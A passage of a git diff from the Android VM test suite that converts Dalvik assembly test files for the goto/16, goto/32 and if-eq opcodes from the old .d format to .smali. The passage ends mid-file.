rename to tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.smali
new file mode 100644
index 0000000..8bbac29
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_16/d/T_goto_16_2;
+.super Ljava/lang/Object;
+.source "T_goto_16_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto/16 :goto_2
+
+    :goto_2
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.smali
new file mode 100644
index 0000000..ba3296d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_16/d/T_goto_16_3;
+.super Ljava/lang/Object;
+.source "T_goto_16_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto/16 :goto_2
+
+    :goto_2
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.smali
new file mode 100644
index 0000000..6b75287
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_16/d/T_goto_16_4;
+.super Ljava/lang/Object;
+.source "T_goto_16_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto/16 :goto_2
+
+    :goto_2
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.smali
new file mode 100644
index 0000000..066b330
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.smali
@@ -0,0 +1,50 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_32/d/T_goto_32_1;
+.super Ljava/lang/Object;
+.source "T_goto_32_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+# test positive offset
+    goto/32 :goto_4
+
+    :goto_3
+    return p1
+
+    :goto_4
+    add-int/lit8 p1, p1, -0x1
+
+    if-lez p1, :cond_b
+
+# test negative offset
+    goto/32 :goto_4
+
+    :cond_b
+    goto :goto_3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.smali
new file mode 100644
index 0000000..3a328dd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_32/d/T_goto_32_2;
+.super Ljava/lang/Object;
+.source "T_goto_32_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto/32 :goto_3
+
+    :goto_3
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.smali
new file mode 100644
index 0000000..82ce541
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_32/d/T_goto_32_3;
+.super Ljava/lang/Object;
+.source "T_goto_32_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto/32 :goto_3
+
+    :goto_3
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.smali
new file mode 100644
index 0000000..a6c51cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_32/d/T_goto_32_4;
+.super Ljava/lang/Object;
+.source "T_goto_32_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    :goto_0
+    goto/32 :goto_0
+
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.d
deleted file mode 100644
index b9e4603..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_1.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.smali
new file mode 100644
index 0000000..5779d22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_1.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.d
deleted file mode 100644
index a7f0474..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_eq_10.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-eq v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.smali
new file mode 100644
index 0000000..6515117
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.smali
@@ -0,0 +1,23 @@
+.source "T_if_eq_10.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-eq v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.d
deleted file mode 100644
index f266a25..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.d
+++ /dev/null
@@ -1,26 +0,0 @@
-.source T_if_eq_11.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;Ljava/lang/String;)V
-.limit regs 8
-
-       if-eq v6, v7, Label10
-       const/4 v6, 0
-       return-void
-
-Label10:
-       const v6, 1
-       nop
-       nop
-       const/4 v6, 1
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.smali
new file mode 100644
index 0000000..9c3a0e0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.smali
@@ -0,0 +1,26 @@
+.source "T_if_eq_11.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)V
+.registers 8
+
+       if-eq v6, v7, :Label10
+       const/4 v6, 0
+       return-void
+
+:Label10
+       const v6, 1
+       nop
+       nop
+       const/4 v6, 1
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.d
deleted file mode 100644
index 9f0d34f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_12.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.smali
new file mode 100644
index 0000000..656cf8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_12.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.d
deleted file mode 100644
index 239ef80..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_2.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;Ljava/lang/String;)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.smali
new file mode 100644
index 0000000..fa7998a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_2.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.d
deleted file mode 100644
index 8cc6f7e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_eq_3.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.smali
new file mode 100644
index 0000000..11f4aa7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_eq_3.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.d
deleted file mode 100644
index 614b6b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_4.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.smali
new file mode 100644
index 0000000..cb6e704
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_4.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.d
deleted file mode 100644
index 94dd327..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_5.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-eq v6, v8, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.smali
new file mode 100644
index 0000000..7ecfecb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_5.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-eq v6, v8, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.d
deleted file mode 100644
index 29f910b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_eq_6.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;Ljava/lang/String;)I
-.limit regs 8
-
-       if-eq v6, v8, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.smali
new file mode 100644
index 0000000..b5f372f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_eq_6.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)I
+.registers 8
+
+       if-eq v6, v8, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.d
deleted file mode 100644
index ded22b3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_7.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-eq v5, v6, Label11
-       const/16 v5, 1234
-Label10:
-       return v5
-       
-Label11:
-       const/4 v5, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.smali
new file mode 100644
index 0000000..a99364c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_7.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-eq v5, v6, :Label11
+       const/16 v5, 1234
